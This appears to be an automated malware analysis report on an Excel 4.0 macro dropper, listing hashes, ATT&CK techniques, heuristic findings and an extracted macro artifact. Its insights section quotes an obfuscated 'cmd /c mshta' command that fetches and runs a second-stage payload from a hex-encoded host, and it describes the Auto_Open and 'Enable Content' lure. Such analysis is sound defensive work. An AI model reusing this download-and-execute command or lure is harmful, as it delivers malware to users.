Office (OLE) / .XLS malware analysis — malicious · c91e87751d3b57b2

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: f6a21ea57f71da2d6690f3007aafd5c1 SHA-1: 4e7236d8f631519c831834d9c682c40186e1a950 SHA-256: c91e87751d3b57b259505e00622e998b60c4c76388a50db53fa0038493c0161c

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link: Malicious File

The sample is an Excel 4.0 macro sheet (XLM) with an Auto_Open macro. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common lure. The extracted macro defines a string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and assigns it to a name 'lll', which is then executed. This indicates the macro's intent is to download and execute a second-stage payload from the reconstructed URL http://0xc12a24f5/c.html.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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